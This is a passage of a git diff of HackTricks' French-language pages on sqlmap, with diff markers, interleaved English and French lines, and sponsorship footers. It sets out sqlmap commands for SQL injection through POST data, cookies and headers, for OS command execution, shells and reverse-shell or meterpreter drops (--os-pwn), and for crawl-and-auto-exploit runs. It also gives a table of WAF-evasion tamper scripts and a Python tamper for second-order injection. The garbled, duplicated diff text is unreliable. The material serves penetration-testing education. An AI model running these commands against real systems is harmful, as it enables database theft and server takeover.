|
|
||||||
- `--method`: specifies the HTTP method to use (default is `GET`)
|
|
||||||
- `--cookie`: specifies the cookie to use for authentication
|
|
||||||
- `--proxy`: specifies the proxy to use for requests
|
|
||||||
|
|
||||||
- `--method`: spécifie la méthode HTTP à utiliser (par défaut, c'est `GET`)
|
|
||||||
- `--cookie`: spécifie le cookie à utiliser pour l'authentification
|
|
||||||
- `--proxy`: spécifie le proxy à utiliser pour les requêtes
|
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||||
```
|
```
|
||||||
## Injections dans les en-têtes et autres méthodes HTTP
|
## Injections dans les en-têtes et autres méthodes HTTP
|
||||||
|
|
||||||
### Injection in Headers
|
|
||||||
|
|
||||||
### Injection dans les en-têtes
|
|
||||||
|
|
||||||
Headers can also be vulnerable to injection attacks, especially when they are used to transmit sensitive information such as authentication tokens or session IDs. In some cases, headers can also be used to bypass security controls or to perform other malicious actions.
|
|
||||||
|
|
||||||
Les en-têtes peuvent également être vulnérables aux attaques d'injection, en particulier lorsqu'ils sont utilisés pour transmettre des informations sensibles telles que des jetons d'authentification ou des identifiants de session. Dans certains cas, les en-têtes peuvent également être utilisés pour contourner les contrôles de sécurité ou pour effectuer d'autres actions malveillantes.
|
|
||||||
|
|
||||||
To test for injection vulnerabilities in headers, you can use the `--headers` option in sqlmap. This option allows you to specify custom headers to be sent with the request, which can be used to inject payloads into the headers.
|
|
||||||
|
|
||||||
Pour tester les vulnérabilités d'injection dans les en-têtes, vous pouvez utiliser l'option `--headers` dans sqlmap. Cette option vous permet de spécifier des en-têtes personnalisés à envoyer avec la requête, ce qui peut être utilisé pour injecter des charges utiles dans les en-têtes.
|
|
||||||
|
|
||||||
For example, the following command tests for injection vulnerabilities in the `Authorization` header:
|
|
||||||
|
|
||||||
Par exemple, la commande suivante teste les vulnérabilités d'injection dans l'en-tête `Authorization` :
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -r request.txt --headers="Authorization: <injection_payload>"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Injection in other HTTP Methods
|
|
||||||
|
|
||||||
### Injection dans d'autres méthodes HTTP
|
|
||||||
|
|
||||||
In addition to GET and POST requests, other HTTP methods such as PUT, DELETE, and OPTIONS can also be vulnerable to injection attacks. These methods are often used in REST APIs to create, update, or delete resources.
|
|
||||||
|
|
||||||
En plus des requêtes GET et POST, d'autres méthodes HTTP telles que PUT, DELETE et OPTIONS peuvent également être vulnérables aux attaques d'injection. Ces méthodes sont souvent utilisées dans les API REST pour créer, mettre à jour ou supprimer des ressources.
|
|
||||||
|
|
||||||
To test for injection vulnerabilities in these methods, you can use the `--method` option in sqlmap. This option allows you to specify the HTTP method to be used in the request.
|
|
||||||
|
|
||||||
Pour tester les vulnérabilités d'injection dans ces méthodes, vous pouvez utiliser l'option `--method` dans sqlmap. Cette option vous permet de spécifier la méthode HTTP à utiliser dans la requête.
|
|
||||||
|
|
||||||
For example, the following command tests for injection vulnerabilities in a PUT request:
|
|
||||||
|
|
||||||
Par exemple, la commande suivante teste les vulnérabilités d'injection dans une requête PUT :
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -r request.txt --method=PUT
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
#Inside cookie
|
#Inside cookie
|
||||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||||
|
@ -225,8 +88,6 @@ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wis
|
||||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||||
```
|
```
|
||||||
## Shell
|
## Shell
|
||||||
|
|
||||||
## Coquille
|
|
||||||
```bash
|
```bash
|
||||||
#Exec command
|
#Exec command
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||||
|
@ -237,21 +98,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||||
#Dropping a reverse-shell / meterpreter
|
#Dropping a reverse-shell / meterpreter
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||||
```
|
```
|
||||||
## Parcourir un site web avec SQLmap et auto-exploiter
|
## Explorer un site web avec SQLmap et exploitation automatique
|
||||||
|
|
||||||
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement.
|
|
||||||
|
|
||||||
Pour parcourir un site web avec SQLmap, vous pouvez utiliser la commande suivante :
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -u <URL> --crawl=1
|
|
||||||
```
|
|
||||||
|
|
||||||
Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. Si SQLmap détecte une vulnérabilité d'injection SQL, il vous demandera si vous souhaitez l'exploiter automatiquement.
|
|
||||||
|
|
||||||
Il est important de noter que l'exploitation automatique peut être dangereuse car elle peut causer des dommages au site web. Il est recommandé d'utiliser l'option `--level` pour spécifier le niveau de risque que vous êtes prêt à prendre. Par exemple, `--level=3` est le niveau de risque le plus élevé et peut causer des dommages importants au site web.
|
|
||||||
|
|
||||||
En utilisant SQLmap avec précaution, vous pouvez parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement pour obtenir des informations sensibles.
|
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||||
|
|
||||||
|
@ -261,7 +108,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||||
```
|
```
|
||||||
# Personnalisation de l'injection
|
# Personnalisation de l'injection
|
||||||
|
|
||||||
## Ajouter un suffixe
|
## Définir un suffixe
|
||||||
```bash
|
```bash
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||||
```
|
```
|
||||||
|
@ -281,49 +128,65 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||||
```
|
```
|
||||||
| Tamper | Description |
|
| Tamper | Description |
|
||||||
| :--- | :--- |
|
| :--- | :--- |
|
||||||
| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
|
| apostrophemask.py | Remplace le caractère apostrophe par son équivalent en pleine largeur UTF-8 |
|
||||||
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
|
| apostrophenullencode.py | Remplace le caractère apostrophe par son double illégal en unicode |
|
||||||
| appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
|
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin du payload |
|
||||||
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
|
| base64encode.py | Encode en Base64 tous les caractères d'un payload donné |
|
||||||
| between.py | Remplace l'opérateur supérieur à \('>'\) par 'NOT BETWEEN 0 AND \#' |
|
| between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc valide aléatoire. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
||||||
| chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
|
| chardoubleencode.py | Double l'encodage en URL de tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) |
|
||||||
| commalesslimit.py | Remplace les occurrences telles que 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Remplace les occurrences telles que 'MID\(A, B, C\)' par 'MID\(A FROM B FOR C\)' |
|
| commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Remplace les occurrences telles que 'CONCAT\(A, B\)' par 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
|
| charencode.py | Encode en URL tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) |
|
||||||
| charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée \(sans traiter ceux déjà encodés\). "%u0022" |
|
| charunicodeencode.py | Encode en unicode-URL les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "%u0022" |
|
||||||
| charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée \(sans traiter ceux déjà encodés\). "\u0022" |
|
| charunicodeescape.py | Encode en unicode-URL les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "\u0022" |
|
||||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal \('='\) par l'opérateur 'LIKE' |
|
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||||
| escapequotes.py | Échappe les guillemets \(' and "\) |
|
| escapequotes.py | Échappe les guillemets (' et ") avec un slash |
|
||||||
| greatest.py | Remplace l'opérateur supérieur à \('>'\) par son homologue GREATEST |
|
| greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
||||||
| ifnull2ifisnull.py | Remplace les occurrences telles que 'IFNULL\(A, B\)' par 'IF\(ISNULL\(A\), B, A\)' |
|
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
||||||
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire de version zéro |
|
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire zéro-versionné |
|
||||||
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
|
| multiplespaces.py | Ajoute de multiples espaces autour des mots-clés SQL |
|
||||||
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement \(par exemple, .replace\("SELECT", ""\)\) filtres |
|
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) |
|
||||||
| percentage.py | Ajoute un signe de pourcentage \('%'\) devant chaque caractère |
|
| percentage.py | Ajoute un signe pourcentage ('%') devant chaque caractère |
|
||||||
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée \(sans traiter ceux déjà encodés\) |
|
| overlongutf8.py | Convertit tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) |
|
||||||
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
|
| randomcase.py | Remplace chaque caractère de mot-clé par une casse aléatoire |
|
||||||
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
||||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||||
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS |
|
| sp_password.py | Ajoute 'sp_password' à la fin du payload pour une obfuscation automatique des logs DBMS |
|
||||||
| space2comment.py | Remplace l'espace \(' '\) par des commentaires |
|
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
|
||||||
| space2dash.py | Remplace l'espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
|
| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||||
| space2hash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
|
| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||||
| space2morehash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
|
| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||||
| space2mssqlblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
|
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||||
| space2mssqlhash.py | Remplace l'espace \(' '\) par un caractère dièse \('\#'\) suivi d'une nouvelle ligne \('\n'\) |
|
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
|
||||||
| space2mysqlblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
|
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||||
| space2mysqldash.py | Remplace l'espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une nouvelle ligne \('\n'\) |
|
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||||
| space2plus.py | Remplace l'espace \(' '\) par un signe plus \('+'\) |
|
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||||
| space2randomblank.py | Remplace l'espace \(' '\) par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
|
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques \(&& et |
|
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et \|) |
|
||||||
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
||||||
| unmagicquotes.py | Remplace le caractère de citation \('\) par une combinaison multioctet %bf%27 avec un commentaire générique à la fin \(pour le faire fonctionner\) |
|
| unmagicquotes.py | Remplace le caractère guillemet (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
||||||
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
|
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
|
||||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||||
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
||||||
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
||||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,29 +1,27 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**SQLMap peut exploiter les Second Order SQLis.**\
|
**SQLMap peut exploiter des Second Order SQLis.**\
|
||||||
Vous devez fournir :
|
Vous devez fournir :
|
||||||
|
|
||||||
* La **requête** où la **charge utile sqlinjection** va être enregistrée
|
* La **requête** où le **payload d'injection sql** va être enregistré
|
||||||
* La **requête** où la **charge utile** sera **exécutée**
|
* La **requête** où le **payload** sera **exécuté**
|
||||||
|
|
||||||
La requête où la charge utile de l'injection SQL est enregistrée est **indiquée comme dans toute autre injection dans sqlmap**. La requête **où sqlmap peut lire la sortie/l'exécution** de l'injection peut être indiquée avec `--second-url` ou avec `--second-req` si vous devez indiquer une requête complète à partir d'un fichier.
|
La requête où le payload d'injection SQL est enregistré est **indiquée comme pour toute autre injection dans sqlmap**. La requête **où sqlmap peut lire la sortie/exécution** de l'injection peut être indiquée avec `--second-url` ou avec `--second-req` si vous devez indiquer une requête complète à partir d'un fichier.
|
||||||
|
|
||||||
**Exemple simple de second order :**
|
**Exemple simple de second ordre :**
|
||||||
```bash
|
```bash
|
||||||
#Get the SQL payload execution with a GET to a url
|
#Get the SQL payload execution with a GET to a url
|
||||||
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||||
|
@ -31,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||||
#Get the SQL payload execution sending a custom request from a file
|
#Get the SQL payload execution sending a custom request from a file
|
||||||
sqlmap -r login.txt -p username --second-req details.txt
|
sqlmap -r login.txt -p username --second-req details.txt
|
||||||
```
|
```
|
||||||
Dans plusieurs cas, cela ne suffira pas car vous devrez effectuer d'autres actions en plus d'envoyer la charge utile et d'accéder à une page différente.
|
Dans plusieurs cas, **cela ne suffira pas** car vous devrez **effectuer d'autres actions** en plus d'envoyer le payload et d'accéder à une page différente.
|
||||||
|
|
||||||
Lorsque cela est nécessaire, vous pouvez utiliser un **sqlmap tamper**. Par exemple, le script suivant enregistrera un nouvel utilisateur en utilisant la charge utile sqlmap comme e-mail et se déconnectera.
|
Lorsque cela est nécessaire, vous pouvez utiliser un **tamper sqlmap**. Par exemple, le script suivant enregistrera un nouvel utilisateur **en utilisant le payload sqlmap comme email** et se déconnectera.
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
@ -43,34 +41,34 @@ from lib.core.enums import PRIORITY
|
||||||
__priority__ = PRIORITY.NORMAL
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def login_account(payload):
|
def login_account(payload):
|
||||||
proxies = {'http':'http://127.0.0.1:8080'}
|
proxies = {'http':'http://127.0.0.1:8080'}
|
||||||
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
|
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
|
||||||
|
|
||||||
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
|
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
|
||||||
url = "http://10.10.10.10/create.php"
|
url = "http://10.10.10.10/create.php"
|
||||||
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||||
|
|
||||||
url = "http://10.10.10.10/exit.php"
|
url = "http://10.10.10.10/exit.php"
|
||||||
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
headers = kwargs.get("headers", {})
|
headers = kwargs.get("headers", {})
|
||||||
login_account(payload)
|
login_account(payload)
|
||||||
return payload
|
return payload
|
||||||
```
|
```
|
||||||
Un tamper SQLMap est toujours exécuté avant de commencer une tentative d'injection avec une charge utile et il doit renvoyer une charge utile. Dans ce cas, nous ne nous soucions pas de la charge utile mais nous nous soucions d'envoyer certaines requêtes, donc la charge utile n'est pas modifiée.
|
Un **tamper SQLMap est toujours exécuté avant de commencer une tentative d'injection avec un payload** **et doit retourner un payload**. Dans ce cas, nous ne nous préoccupons pas du payload mais de l'envoi de certaines requêtes, donc le payload n'est pas modifié.
|
||||||
|
|
||||||
Ainsi, si pour une raison quelconque, nous avons besoin d'un flux plus complexe pour exploiter l'injection SQL de second ordre comme:
|
Donc, si pour une raison quelconque nous avons besoin d'un flux plus complexe pour exploiter l'injection SQL de second ordre comme :
|
||||||
|
|
||||||
* Créer un compte avec la charge utile SQLi dans le champ "email"
|
* Créer un compte avec le payload SQLi dans le champ "email"
|
||||||
* Se déconnecter
|
* Se déconnecter
|
||||||
* Se connecter avec ce compte (login.txt)
|
* Se connecter avec ce compte (login.txt)
|
||||||
* Envoyer une requête pour exécuter l'injection SQL (second.txt)
|
* Envoyer une requête pour exécuter l'injection SQL (second.txt)
|
||||||
|
|
||||||
Cette ligne sqlmap aidera:
|
**Cette ligne sqlmap sera utile :**
|
||||||
```bash
|
```bash
|
||||||
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
|
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
|
||||||
##########
|
##########
|
||||||
|
@ -87,16 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,49 +2,47 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
